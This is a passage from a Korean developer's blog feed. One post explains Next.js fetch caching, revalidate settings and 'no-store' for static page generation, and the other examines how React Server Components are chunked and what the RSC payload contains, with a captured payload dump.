<p>기본적으로 별다른 옵션을 주지 않으면 cache를 사용하도록 설정됩니다.</p>
<pre><code class="language-tsx">const Page = async ({
    params
                    }:{
    params:{
        detailUrl:string
    }
}) =&gt; {

    const { detailUrl } = await params
    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return (
        &lt;QuizDetails
            quizData={data}
        /&gt;
    );
};</code></pre>
<p>그리고 다시 새로고침을 해보도록 하겠습니다.</p>
<p>그리고 다시 백엔드 서버에서 로그를 확인해보면 DB로 아무 쿼리문도 나가지 않는 것을 확인할 수 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/cae5c74c-1d72-42b0-b444-add991a98eb1/image.png" alt=""></p>
<p>즉, nextjs 서버에 있는 캐싱을 사용하고 백엔드로 API 요청을 하지 않게 하는 것이죠.</p>
<h2 id="해결-방법">해결 방법</h2>
<p>그렇다면 어떻게 최신 데이터들을 반영할 수 있을까요?</p>
<p>revalidate 활용하면 됩니다.</p>
<h3 id="revalidate"><a href="https://nextjs.org/docs/app/building-your-application/caching#revalidating-1">revalidate</a></h3>
<p>nextjs 문서를 확인해보면 </p>
<blockquote>
<p>캐시된 데이터는 두 가지 방법으로 재검증할 수 있습니다:</p>
</blockquote>
<ul>
<li>시간 기반 재검증: 일정 시간이 경과한 후 새 요청이 있을 때 데이터를 재검증합니다. 이는 데이터가 자주 변경되지 않고 신선도가 그리 중요하지 않은 경우에 유용합니다.</li>
<li>온디맨드 재검증: 이벤트(예: 폼 제출)에 따라 데이터를 재검증합니다. 온디맨드 재검증은 태그 기반 또는 경로 기반 접근 방식을 사용하여 데이터를 한 번에 재검증할 수 있습니다. 이는 헤드리스 CMS의 콘텐츠가 업데이트될 때 가능한 빨리 최신 데이터를 표시하고 싶은 경우에 유용합니다.</li>
</ul>
<p>저는 폼을 제출하는 것이 아니기 때문에 <strong>시간 기반 재검증</strong> 방법을 사용하면 될 것 같네요.</p>
<p>정해진 시간 간격으로 데이터를 재검증하려면 fetch의 <code>next.revalidate</code> 옵션을 사용하여 리소스의 캐시 수명을 초 단위로 설정할 수 있다고 합니다.</p>
<pre><code class="language-ts">// Revalidate at most every hour
fetch(&#39;https://...&#39;, { next: { revalidate: 3600 } })</code></pre>
<p>위와 같이 <code>next.revalidate</code> 옵션으로 3600을 설정하면 한 시간마다 API 요청을 하게 되는 것이지요.</p>
<h2 id="nextrevalidate-얼만큼-설정할까">next.revalidate 얼만큼 설정할까?</h2>
<h3 id="페이지에서-퀴즈-데이터-호출시-1">페이지에서 퀴즈 데이터 호출시</h3>
<p>그렇다면 next.revalidate 시간은 요구사항에 따라 다를텐데요. 현재 저는 하루 단위로 퀴즈 데이터들을 등록,수정하고 있으니 하루만큼의 시간으로 설정하면 될 것 같아요.</p>
<pre><code class="language-ts">// 하루마다 fetch
    async fetchQuizDetailByUrl(detailUrl: string): Promise&lt;IResponse&lt;QuizItem&gt;&gt; {
        return this.request&lt;QuizItem&gt;(`quiz/detail-url/${detailUrl}`, {
            method: &quot;GET&quot;,
            next:{
                revalidate:86400
            }
        });
    }</code></pre>
<p>위와 같이 설정하고 하루뒤에 보면</p>
<p>다음과 같이 최신데이터가 적절히 잘 반영되는 것을 확인할 수 있어요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/34b31cd8-03f6-4824-b152-54395e6093fd/image.png" alt=""></p>
<h3 id="빌드시">빌드시</h3>
<p>하지만 위와 같이 설정하여도 빌드시에는 이전 데이터를 기반으로 페이지를 생성하는데요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/2787aaed-3415-4ae7-a8ca-08da2c1b99d5/image.png" alt=""></p>
<p>아래는 빌드시, <code>generateStaticParams</code>의 값에 따라 페이지를 생성하는 퀴즈 페이지 코드입니다.</p>
<pre><code class="language-tsx">import QuizDetails from &quot;@/app/(page)/quiz/[detailUrl]/_components/client/quizDetails&quot;;
import {quizApiHandler} from &quot;@/app/services/quiz/QuizApiHandler&quot;;
import {Metadata} from &quot;next&quot;;
import React from &#39;react&#39;;


// export const config = { amp: true }
/**
 * 퀴즈 문제 페이지
 * 정적 렌더링 방식
 */

// SSG 실행할 페이지 ID 추출, 서버에 받아오는 PK들은 모두 SSG 방식으로 구현
export async function generateStaticParams() {

    const {data} = await quizApiHandler.fetchQuizDetailUrlList();

    return data.map((url) =&gt; ({detailUrl:url}))

}


// SEO를 위해 메타데이터(title, description) 설정
export async function generateMetadata({
                                           params
                                       }:{
    params:{
        detailUrl:string
    }
}):Promise&lt;Metadata&gt;{

    const detailUrl = (await params).detailUrl

    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return {
        title:data.metaTitle,
        description:data.metaDescription,
        alternates:{
            canonical:`/quiz/${data.detailUrl}`
        }
    }
}

const Page = async ({
    params
                    }:{
    params:{
        detailUrl:string
    }
}) =&gt; {

    const { detailUrl } = await params
    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return (
        &lt;QuizDetails
            quizData={data}
        /&gt;
    );
};

export default Page;
</code></pre>
<p><code>generateStaticParams</code> 함수를 활용하면 SSG 방식을 구현할 수 있습니다. 반환값으로 생성하고자하는 페이지의 params 값을 가진 배열을 넣어주면 배열에 있는 params에 대한 페이지들을 빌드시 생성해주죠.</p>
<p>그렇다면 빌드했을 시, 계속 이전 데이터가 호출되는 것의 원인은 위 코드에서 <code>fetchQuizDetailUrlList</code>에 있다고 추측할 수 있습니다.</p>
<pre><code class="language-ts">   // 퀴즈 전체 DetailUrl 목록 조회
    async fetchQuizDetailUrlList(): Promise&lt;IResponse&lt;string[]&gt;&gt; {

        const response =  await this.request&lt;string[]&gt;(&quot;quiz/list-detail-url&quot;, {
            method: &quot;GET&quot;,
            cache: &quot;no-store&quot;
        });

        const {data} = response

        // 배열이 비어있는 경우, 예외 처리
        ExceptionManager.throwIfArrayEmpty&lt;string&gt;(data,&quot;퀴즈 URL 목록이 비어있습니다.&quot;)

        // 데이터가 없을 경우, 예외 처리
        ExceptionManager.throwIfNullOrUndefined(data,&quot;퀴즈 URL 목록이 없습니다.&quot;)

        return response

    }</code></pre>
<p><code>fetchQuizDetailUrlList</code>함수의 역할은 DB에 있는 퀴즈 URL 목록을 모두 반환하는 역할을 하는데요.</p>
<p>이 반환값을 가지고 저는 모든 퀴즈 페이지들을 빌드할 때 생성하려고 하는 목적이었습니다.</p>
<p>하지만 위 코드를 확인해보면 option 값으로 아무것도 설정이 안되있죠?
캐시가 설정되있다는 것입니다.</p>
<p>즉, <code>fetchQuizDetailUrlList</code>함수 호출시, 캐싱 데이터를 호출하여 반환한다는거죠.</p>
<p>그렇기 때문에 <code>fetchQuizDetailUrlList</code>함수의 반환값은 변경된 데이터 <code>[&quot;javascript-closure&quot;,&quot;javascript-this&quot;,&quot;javascript-context&quot;]</code>가 아닌  이전 데이터<code>[&quot;javascript-closure&quot;]</code>가 반환됩니다.</p>
<p>때문에 <code>generateStaticParams</code>에서는 이전 데이터<code>[&quot;javascript-closure&quot;]</code>가 반환되기 때문에 <code>&quot;javascript-closure&quot;</code>  params에 대해서만 빌드시 페이지를 생성하는 것이죠.</p>
<p>그렇다면 cache를 어떻게 설정하면 좋을까요? 어차피 빌드는 배포시에만 합니다. 즉,<code>fetchQuizDetailUrlList</code> 함수는 배포시에만 실행될 함수이기때문에 캐싱을 신경쓸 필요가 없는거죠.</p>
<p>그래서 저는 <code>generateStaticParams</code>에서 호출하는 API의 cache 옵션을 <code>no-store</code>로 설정해줬습니다.</p>
<pre><code class="language-ts">   // 퀴즈 전체 DetailUrl 목록 조회
    async fetchQuizDetailUrlList(): Promise&lt;IResponse&lt;string[]&gt;&gt; {

        const response =  await this.request&lt;string[]&gt;(&quot;quiz/list-detail-url&quot;, {
            method: &quot;GET&quot;,
            cache: &quot;no-store&quot;
        });

        const {data} = response

        // 배열이 비어있는 경우, 예외 처리
        ExceptionManager.throwIfArrayEmpty&lt;string&gt;(data,&quot;퀴즈 URL 목록이 비어있습니다.&quot;)

        // 데이터가 없을 경우, 예외 처리
        ExceptionManager.throwIfNullOrUndefined(data,&quot;퀴즈 URL 목록이 없습니다.&quot;)

        return response

    }</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[문서 뜯어보기, RSC에 대한 이해]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%AC%B8%EC%84%9C-%EB%9C%AF%EC%96%B4%EB%B3%B4%EA%B8%B0-RSC%EC%97%90-%EB%8C%80%ED%95%9C-%EC%9D%B4%ED%95%B4</link>
            <guid>https://velog.io/@kcj_dev96/%EB%AC%B8%EC%84%9C-%EB%9C%AF%EC%96%B4%EB%B3%B4%EA%B8%B0-RSC%EC%97%90-%EB%8C%80%ED%95%9C-%EC%9D%B4%ED%95%B4</guid>
            <pubDate>Tue, 03 Dec 2024 08:08:45 GMT</pubDate>
            <description><![CDATA[<p>Nextjs의 Server Component에 대해 공부하는 중, <a href="https://nextjs-ko.org/docs/app/building-your-application/rendering/server-components#how-are-server-components-rendered">RSC(React Server Component)가 어떻게 렌더링되는가</a>에 대한 설명을 읽다 잘 이해가 되지 않았습니다.</p>
<p>그래서 구체적인 이해를 위해, 좀 더 자세히 뜯어보려합니다. 이해가 가지 않는 설명을 첨부하고 이를 뜯어보는 방식으로 이해해볼게요.</p>
<h2 id="청크로-분할개별-경로-세그먼트suspense-boundaries"><a href="https://nextjs.org/docs/app/building-your-application/rendering/server-components#how-are-server-components-rendered">청크로 분할,개별 경로 세그먼트,Suspense Boundaries</a></h2>
<p>설명 중 초기에 아래와 같은 설명이 있습니다. 하지만 잘 이해가 가지 않았어요.</p>
<blockquote>
<p> On the server, Next.js uses React&#39;s APIs to orchestrate rendering.The rendering work is split into chunks: by individual route segments and Suspense Boundaries.
(서버에서 Next.js는 React의 API를 사용하여 렌더링을 조정합니다. 렌더링 작업은 <strong>개별 경로 세그먼트와 Suspense Boundaries(opens in a new tab)에 따라 청크로 분할</strong>됩니다.)</p>
</blockquote>
<ul>
<li>또 청크로 분할 한다는 것은 무엇인지</li>
<li>개별 경로 세그먼트가 무엇이고 </li>
<li>Suspense Boundaries는 무엇인지</li>
</ul>
<p>위 부분들이 잘 이해가 되지 않았어요.</p>
<h3 id="청크로-분리split-into-chunks">청크로 분리(split into chunks)</h3>
<p><strong>&quot;The rendering work is split into chunks&quot;</strong>라는 표현은 <strong>&quot;렌더링 작업이 청크 단위로 분리된다&quot;</strong>는 뜻입니다. 여기서 &quot;청크(chunk)&quot;는 작업을 나누는 논리적 단위, 즉 작은 조각을 의미합니다.</p>
<blockquote>
<p><strong>청크로 나누는 이유</strong>
대규모 애플리케이션에서 UI를 한꺼번에 렌더링하면 시간이 오래 걸리고, 첫 화면이 나타나는 속도(First Contentful Paint)가 느려질 수 있습니다.
따라서 렌더링을 여러 작은 작업(청크)으로 나누면 다음과 같은 이점이 있습니다:</p>
</blockquote>
<ul>
<li>더 빠른 초기 로딩: 필요한 UI부터 먼저 사용자에게 보여줄 수 있음.</li>
<li>효율적인 리소스 관리: CPU나 네트워크 리소스를 효율적으로 사용.</li>
<li>사용자 경험 개선: 점진적으로 콘텐츠를 로드하면서 사용자 대기 시간을 줄임.</li>
</ul>
<p><strong>청크를 나누는 기준</strong>
Next.js는 다음 두 가지 기준으로 렌더링을 청크 단위로 나눕니다:</p>
<h3 id="individual-route-segments개별-경로-세그먼트">individual route segments(개별 경로 세그먼트)</h3>
<p><strong>Route Segments (라우트 세그먼트)</strong>
문서에서 제가 이해가지 않았던 문구 <code>individual route segments</code>에 대한 설명이에요.</p>
<p><strong>라우트 세그먼트</strong>는 Next.js에서 페이지를 구성하는 <strong>계층적인 디렉토리 구조</strong>를 기반으로 합니다. 각 세그먼트는 별도의 렌더링 단위로 취급됩니다.</p>
<ul>
<li>예: /about 페이지와 /about/team 페이지는 독립적으로 렌더링 가능.</li>
</ul>
<p>이런 방식으로 필요한 부분만 서버에서 렌더링하여 클라이언트에 전달할 수 있습니다. 즉, 페이지 단위별로 청크를 나누는 거네요.</p>
<p>Nextjs에서 빌드를 하면,아래와 같이 빌드를 하면 나타나는 파일에 페이지별 js 파일,청크를 확인할 수 있어요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/8f48dc69-afda-4232-8689-98f3bc159998/image.png" alt=""></p>
<h3 id="suspense-boundaries-서스펜스-경계">Suspense Boundaries (서스펜스 경계)</h3>
<p>React의 Suspense는 UI에서 데이터 로딩 같은 비동기 작업을 다룰 때 사용됩니다.
Suspense Boundary는 데이터가 준비되지 않은 상태에서도 다른 부분의 렌더링을 가능하게 만듭니다.</p>
<ul>
<li>예: 프로필 페이지에서 사용자 데이터가 준비되지 않아도, 헤더와 네비게이션 메뉴는 먼저 렌더링될 수 있음.</li>
<li>청크로 나누면 특정 경계를 기준으로 데이터를 기다리지 않고 <strong>완료된 부분만 먼저 사용자에게 보여줄 수 있음.</strong></li>
</ul>
<h2 id="react-server-component-payload-rsc-payloadclient-component-javascript-지침">React Server Component Payload (RSC Payload),Client Component JavaScript 지침</h2>
<p>그 다음 설명으로는 다음과 같은 설명이 있습니다.</p>
<blockquote>
<p>각 청크는 두 단계로 렌더링됩니다:</p>
</blockquote>
<ol>
<li>React는 Server Components를 <strong>React Server Component Payload (RSC Payload)</strong>라는 특별한 데이터 형식으로 렌더링합니다.</li>
<li>Next.js는 RSC Payload와 <strong>Client Component JavaScript</strong> 지침을 사용하여 서버에서 HTML을 렌더링합니다.
(React renders Server Components into a special data format called the React Server Component Payload (RSC Payload).
Next.js uses the RSC Payload and Client Component JavaScript instructions to render HTML on the server.)</li>
</ol>
<ul>
<li>React Server Component Payload (RSC Payload)가 정확히 무엇이고</li>
<li>lient Component JavaScript instructions란 또 무엇인지</li>
</ul>
<p>머리에 추상적으로 그려져서 잘 이해가 되지 않았어요.</p>
<p>알아보겠습니다.</p>
<h3 id="react-server-component-payload-rsc란-무엇인가요"><a href="https://nextjs-ko.org/docs/app/building-your-application/rendering/server-components#react-server-component-payload-rsc%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80%EC%9A%94">React Server Component Payload (RSC)란 무엇인가요?</a></h3>
<p>문서에서는 다음과 같이 설명하고 있죠.</p>
<blockquote>
<p>RSC Payload는 <strong>렌더링된 React Server Components 트리의 간결한 이진 표현</strong>입니다. 
이는 <strong>클라이언트에서 React가 브라우저의 DOM을 업데이트하는 데 사용</strong>됩니다. RSC Payload에는 다음이 포함됩니다:</p>
</blockquote>
<ul>
<li>Server Components의 렌더링된 결과</li>
<li>Client Components가 렌더링되어야 할 위치와 해당 JavaScript 파일에 대한 참조</li>
<li>Server Component에서 Client Component로 전달된 모든 props</li>
</ul>
<h4 id="rsc-payload의-실체">RSC Payload의 실체</h4>
<p>서버 컴포넌트로 이루어진 SSG 페이지에 들어가 네트워크 탭을 확인해보면 다음과 같은 네트워크 요청을 확인할 수 있습니다.</p>
<p>네트워크 탭에서는 querystring으로 <code>_rsc=tpi3d</code>이라는 것이 붙어있어요
응답을 보면 알 수 없는 것들로 가득차있네요?</p>
<p>해당 요청은 무슨 역할을 하는 것이고 응답값은 또 무엇이며 어떤 역할을 하는 것일까요?</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/f9ec182c-5a50-4531-83c1-8c4053af0ae3/image.png" alt=""></p>
<p>네트워크 요청
<img src="https://velog.velcdn.com/images/kcj_dev96/post/af9f1e59-b5d2-49e3-bcdf-3159f02456f0/image.png" alt=""></p>
<p>네트워크 요청헤더
<img src="https://velog.velcdn.com/images/kcj_dev96/post/6a1d1a25-c825-4a82-a43a-bca73b37234a/image.png" alt=""></p>
<p>네트워크 응답
<img src="https://velog.velcdn.com/images/kcj_dev96/post/a3cb493f-087a-4e1d-965e-152f164f3396/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/af9f1e59-b5d2-49e3-bcdf-3159f02456f0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/a3cb493f-087a-4e1d-965e-152f164f3396/image.png" alt=""></p>
<p>즉,위 RSC 요청에 대한 응답은 <strong>서버 컴포넌트에 대한 이진 표현</strong>으로 응답된 것인가봐요.</p>
<p>그리고 역할은 클라이언트 즉, 브라우저에서 React가 <strong>브라우저의 DOM을 업데이트하는 데 사용</strong>되는거네요.</p>
<p>결과적으로 위 RSC 요청은 서버에서 렌더링된 서버 컴포넌트 정보와 클라이언트 컴포넌트 관련 정보를 브라우저에 응답으로 전달하여, 브라우저가 이를 바탕으로 페이지를 업데이트할 수 있도록 하는 역할을 합니다.</p>
<h4 id="서버-컴포넌트는-서버에서-렌더링되는데-브라우저로-서버-컴포넌트는-왜-넘겨줄까">서버 컴포넌트는 서버에서 렌더링되는데 브라우저로 서버 컴포넌트는 왜 넘겨줄까?</h4>
<p>처음에는 위와 같은 의문이 들었는데 이제는 의문이 해결되었습니다.
서버 컴포넌트가 서버에서 렌더링되는데도 클라이언트에게 정보를 넘겨주는 이유는 <strong>서버 컴포넌트와 클라이언트 컴포넌트가 협력하여 동작</strong>하기 때문입니다.</p>
<p>서버 컴포넌트는 서버에서 미리 렌더링된 HTML 구조를 생성합니다. 그러나 이 결과를 클라이언트로 넘기는 이유는 <strong>클라이언트 측에서 추가적인 렌더링이나 상호작용이 필요</strong>할 수 있기 때문입니다.</p>
<ul>
<li><p>서버 컴포넌트는 정적인 데이터를 렌더링합니다.</p>
</li>
<li><p>하지만 해당 컴포넌트 내에서 클라이언트 컴포넌트가 포함되어 있다면, 이 클라이언트 컴포넌트를 브라우저에서 실행해야 합니다.</p>
</li>
<li><p>이를 위해 서버 컴포넌트의 렌더링 결과와 함께 클라이언트 컴포넌트의 위치 및 props 정보를 클라이언트로 전달해야 합니다.</p>
</li>
</ul>
<h3 id="client-component-javascript-지침">Client Component JavaScript 지침</h3>
<p>클라이언트 컴포넌트는 브라우저에서 실행되는 JavaScript로 정의됩니다. 서버에서 클라이언트로 전달되는 <strong>&quot;instructions&quot;는 클라이언트 컴포넌트를 렌더링하고 작동시키는 데 필요한 정보와 명령</strong>을 포함합니다.</p>
<p>이 instructions는 다음을 포함합니다:</p>
<ul>
<li><strong>클라이언트 컴포넌트의 위치</strong>
서버 컴포넌트 트리 내에서 <strong>어떤 부분에 클라이언트 컴포넌트가 존재</strong>하는지에 대한 정보.
이 위치 정보를 기반으로 React가 클라이언트 컴포넌트를 브라우저에서 렌더링합니다.</li>
</ul>
<ul>
<li><p><strong>JavaScript 파일 경로</strong>
클라이언트 컴포넌트를 브라우저에서 실행하려면 해당 컴포넌트를 정의한 JavaScript 파일이 필요합니다.
React는 RSC Payload에 이 경로를 포함시켜 클라이언트가 해당 파일을 로드하도록 지시합니다.</p>
</li>
<li><p><strong>Props 정보</strong>
클라이언트 컴포넌트로 전달되어야 할 props 데이터.
이를 통해 서버에서 처리된 데이터와 클라이언트에서의 상호작용이 일관성을 유지합니다.</p>
</li>
<li><p><strong>상태와 이벤트 핸들링 연결</strong>
클라이언트 컴포넌트는 사용자와 상호작용(예: 클릭, 입력 등)을 처리하기 위해 이벤트 핸들러를 설정해야 합니다.
React는 클라이언트 컴포넌트가 이러한 동작을 수행하도록 지침을 포함합니다.</p>
</li>
</ul>
<h3 id="rsc-payload-응답으로-보는-클라이언트-컴포넌트-정보">RSC Payload 응답으로 보는 클라이언트 컴포넌트 정보</h3>
<p>아까 위에서 알아본 저의 프로젝트 SSG 페이지에 대한 RSC Payload 응답값을 기준으로 구체적으로 알아볼게요.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/bfcf19ec-6da5-442a-8b2c-57a8911b02c4/image.png" alt=""></p>
<pre><code>3:I[1994,[&quot;946&quot;,&quot;static/chunks/app/(page)/quiz/layout-baaf889432faea58.js&quot;],&quot;default&quot;]
4:I[9275,[],&quot;&quot;]
5:I[1343,[],&quot;&quot;]
6:I[3606,[&quot;231&quot;,&quot;static/chunks/231-8f68daddfd42f71b.js&quot;,&quot;185&quot;,&quot;static/chunks/app/layout-fe03fd3fabb6c2db.js&quot;],&quot;default&quot;]
7:I[9791,[&quot;231&quot;,&quot;static/chunks/231-8f68daddfd42f71b.js&quot;,&quot;185&quot;,&quot;static/chunks/app/layout-fe03fd3fabb6c2db.js&quot;],&quot;default&quot;]
8:{&quot;fontFamily&quot;:&quot;system-ui,\&quot;Segoe UI\&quot;,Roboto,Helvetica,Arial,sans-serif,\&quot;Apple Color Emoji\&quot;,\&quot;Segoe UI Emoji\&quot;&quot;,&quot;height&quot;:&quot;100vh&quot;,&quot;textAlign&quot;:&quot;center&quot;,&quot;display&quot;:&quot;flex&quot;,&quot;flexDirection&quot;:&quot;column&quot;,&quot;alignItems&quot;:&quot;center&quot;,&quot;justifyContent&quot;:&quot;center&quot;}
9:{&quot;display&quot;:&quot;inline-block&quot;,&quot;margin&quot;:&quot;0 20px 0 0&quot;,&quot;padding&quot;:&quot;0 23px 0 0&quot;,&quot;fontSize&quot;:24,&quot;fontWeight&quot;:500,&quot;verticalAlign&quot;:&quot;top&quot;,&quot;lineHeight&quot;:&quot;49px&quot;}
a:{&quot;display&quot;:&quot;inline-block&quot;}
b:{&quot;fontSize&quot;:14,&quot;fontWeight&quot;:400,&quot;lineHeight&quot;:&quot;49px&quot;,&quot;margin&quot;:0}
0:[&quot;IBUjUjp6SZGio4yaIwNH4&quot;,[[[&quot;&quot;,{&quot;children&quot;:[&quot;(page)&quot;,{&quot;children&quot;:[&quot;quiz&quot;,{&quot;children&quot;:[&quot;__PAGE__&quot;,{}]}]}]},&quot;$undefined&quot;,&quot;$undefined&quot;,true],[&quot;&quot;,{&quot;children&quot;:[&quot;(page)&quot;,{&quot;children&quot;:[&quot;quiz&quot;,{&quot;children&quot;:[&quot;__PAGE__&quot;,{},[[&quot;$L1&quot;,&quot;$L2&quot;,null],null],null]},[[null,[&quot;$&quot;,&quot;$L3&quot;,null,{&quot;children&quot;:[&quot;$&quot;,&quot;section&quot;,null,{&quot;className&quot;:&quot;flex flex-col justify-center items-center \n        p-[20px] bg-white border-[1px] border-[#E0E0E0] \n        min-w-[700px] max-w-[1000px] min-h-[700px] max-h-[800px]\n        rounded-primary \n        shadow-sm \n        overflow-y-scroll\n        !justify-start&quot;,&quot;children&quot;:[&quot;$&quot;,&quot;$L4&quot;,null,{&quot;parallelRouterKey&quot;:&quot;children&quot;,&quot;segmentPath&quot;:[&quot;children&quot;,&quot;(page)&quot;,&quot;children&quot;,&quot;quiz&quot;,&quot;children&quot;],&quot;error&quot;:&quot;$undefined&quot;,&quot;errorStyles&quot;:&quot;$undefined&quot;,&quot;errorScripts&quot;:&quot;$undefined&quot;,&quot;template&quot;:[&quot;$&quot;,&quot;$L5&quot;,null,{}],&quot;templateStyles&quot;:&quot;$undefined&quot;,&quot;templateScripts&quot;:&quot;$undefined&quot;,&quot;notFound&quot;:&quot;$undefined&quot;,&quot;notFoundStyles&quot;:&quot;$undefined&quot;}]}]}]],null],null]},[null,[&quot;$&quot;,&quot;$L4&quot;,null,{&quot;parallelRouterKey&quot;:&quot;children&quot;,&quot;segmentPath&quot;:[&quot;children&quot;,&quot;(page)&quot;,&quot;children&quot;],&quot;error&quot;:&quot;$undefined&quot;,&quot;errorStyles&quot;:&quot;$undefined&quot;,&quot;errorScripts&quot;:&quot;$undefined&quot;,&quot;template&quot;:[&quot;$&quot;,&quot;$L5&quot;,null,{}],&quot;templateStyles&quot;:&quot;$undefined&quot;,&quot;templateScripts&quot;:&quot;$undefined&quot;,&quot;notFound&quot;:[[&quot;$&quot;,&quot;title&quot;,null,{&quot;children&quot;:&quot;404: This page could not be found.&quot;}],[&quot;$&quot;,&quot;div&quot;,null,{&quot;style&quot;:{&quot;fontFamily&quot;:&quot;system-ui,\&quot;Segoe UI\&quot;,Roboto,Helvetica,Arial,sans-serif,\&quot;Apple Color Emoji\&quot;,\&quot;Segoe UI Emoji\&quot;&quot;,&quot;height&quot;:&quot;100vh&quot;,&quot;textAlign&quot;:&quot;center&quot;,&quot;display&quot;:&quot;flex&quot;,&quot;flexDirection&quot;:&quot;column&quot;,&quot;alignItems&quot;:&quot;center&quot;,&quot;justifyContent&quot;:&quot;center&quot;},&quot;children&quot;:[&quot;$&quot;,&quot;div&quot;,null,{&quot;children&quot;:[[&quot;$&quot;,&quot;style&quot;,null,{&quot;dangerouslySetInnerHTML&quot;:{&quot;__html&quot;:&quot;body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}&quot;}}],[&quot;$&quot;,&quot;h1&quot;,null,{&quot;className&quot;:&quot;next-error-h1&quot;,&quot;style&quot;:{&quot;display&quot;:&quot;inline-block&quot;,&quot;margin&quot;:&quot;0 20px 0 0&quot;,&quot;padding&quot;:&quot;0 23px 0 0&quot;,&quot;fontSize&quot;:24,&quot;fontWeight&quot;:500,&quot;verticalAlign&quot;:&quot;top&quot;,&quot;lineHeight&quot;:&quot;49px&quot;},&quot;children&quot;:&quot;404&quot;}],[&quot;$&quot;,&quot;div&quot;,null,{&quot;style&quot;:{&quot;display&quot;:&quot;inline-block&quot;},&quot;children&quot;:[&quot;$&quot;,&quot;h2&quot;,null,{&quot;style&quot;:{&quot;fontSize&quot;:14,&quot;fontWeight&quot;:400,&quot;lineHeight&quot;:&quot;49px&quot;,&quot;margin&quot;:0},&quot;children&quot;:&quot;This page could not be found.&quot;}]}]]}]}]],&quot;notFoundStyles&quot;:[]}]],null]},[[[[&quot;$&quot;,&quot;link&quot;,&quot;0&quot;,{&quot;rel&quot;:&quot;stylesheet&quot;,&quot;href&quot;:&quot;/_next/static/css/2d7a7b6971cb1693.css&quot;,&quot;precedence&quot;:&quot;next&quot;,&quot;crossOrigin&quot;:&quot;$undefined&quot;}]],[&quot;$&quot;,&quot;html&quot;,null,{&quot;lang&quot;:&quot;en&quot;,&quot;children&quot;:[&quot;$&quot;,&quot;body&quot;,null,{&quot;className&quot;:&quot;__variable_1e4310 __variable_c3aa02 antialiased&quot;,&quot;children&quot;:[[&quot;$&quot;,&quot;$L6&quot;,null,{}],[&quot;$&quot;,&quot;main&quot;,null,{&quot;className&quot;:&quot;w-full h-[calc(100vh-80px)] bg-background  flex justify-center items-center&quot;,&quot;children&quot;:[&quot;$&quot;,&quot;$L7&quot;,null,{&quot;children&quot;:[&quot;$&quot;,&quot;$L4&quot;,null,{&quot;parallelRouterKey&quot;:&quot;children&quot;,&quot;segmentPath&quot;:[&quot;children&quot;],&quot;error&quot;:&quot;$undefined&quot;,&quot;errorStyles&quot;:&quot;$undefined&quot;,&quot;errorScripts&quot;:&quot;$undefined&quot;,&quot;template&quot;:[&quot;$&quot;,&quot;$L5&quot;,null,{}],&quot;templateStyles&quot;:&quot;$undefined&quot;,&quot;templateScripts&quot;:&quot;$undefined&quot;,&quot;notFound&quot;:[[&quot;$&quot;,&quot;title&quot;,null,{&quot;children&quot;:&quot;404: This page could not be found.&quot;}],[&quot;$&quot;,&quot;div&quot;,null,{&quot;style&quot;:&quot;$8&quot;,&quot;children&quot;:[&quot;$&quot;,&quot;div&quot;,null,{&quot;children&quot;:[[&quot;$&quot;,&quot;style&quot;,null,{&quot;dangerouslySetInnerHTML&quot;:{&quot;__html&quot;:&quot;body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}&quot;}}],[&quot;$&quot;,&quot;h1&quot;,null,{&quot;className&quot;:&quot;next-error-h1&quot;,&quot;style&quot;:&quot;$9&quot;,&quot;children&quot;:&quot;404&quot;}],[&quot;$&quot;,&quot;div&quot;,null,{&quot;style&quot;:&quot;$a&quot;,&quot;children&quot;:[&quot;$&quot;,&quot;h2&quot;,null,{&quot;style&quot;:&quot;$b&quot;,&quot;children&quot;:&quot;This page could not be found.&quot;}]}]]}]}]],&quot;notFoundStyles&quot;:[]}]}]}]]}]}]],null],null],[&quot;$Lc&quot;,null]]]]
d:I[870,[&quot;513&quot;,&quot;static/chunks/app/(page)/quiz/page-c334575102ab2fe2.js&quot;],&quot;default&quot;]
2:[&quot;$&quot;,&quot;div&quot;,null,{&quot;className&quot;:&quot;w-full&quot;,&quot;children&quot;:[[&quot;$&quot;,&quot;div&quot;,null,{&quot;className&quot;:&quot;flex flex-col gap-2 mt-24&quot;,&quot;children&quot;:[[&quot;$&quot;,&quot;h1&quot;,null,{&quot;className&quot;:&quot;text-title1 text-center&quot;,&quot;children&quot;:&quot;ê°œë°œ í€´ì¦ˆ&quot;}],[&quot;$&quot;,&quot;p&quot;,null,{&quot;className&quot;:&quot;mb-10 text-title2Normal text-center&quot;,&quot;children&quot;:&quot;í€´ì¦ˆë¥¼ í†µí•´ ê°œë°œ ì§€ì‹ì„ í…ŒìŠ¤íŠ¸í•´ ë³´ì„¸ìš”!&quot;}]]}],[&quot;$&quot;,&quot;$Ld&quot;,null,{}]]}]
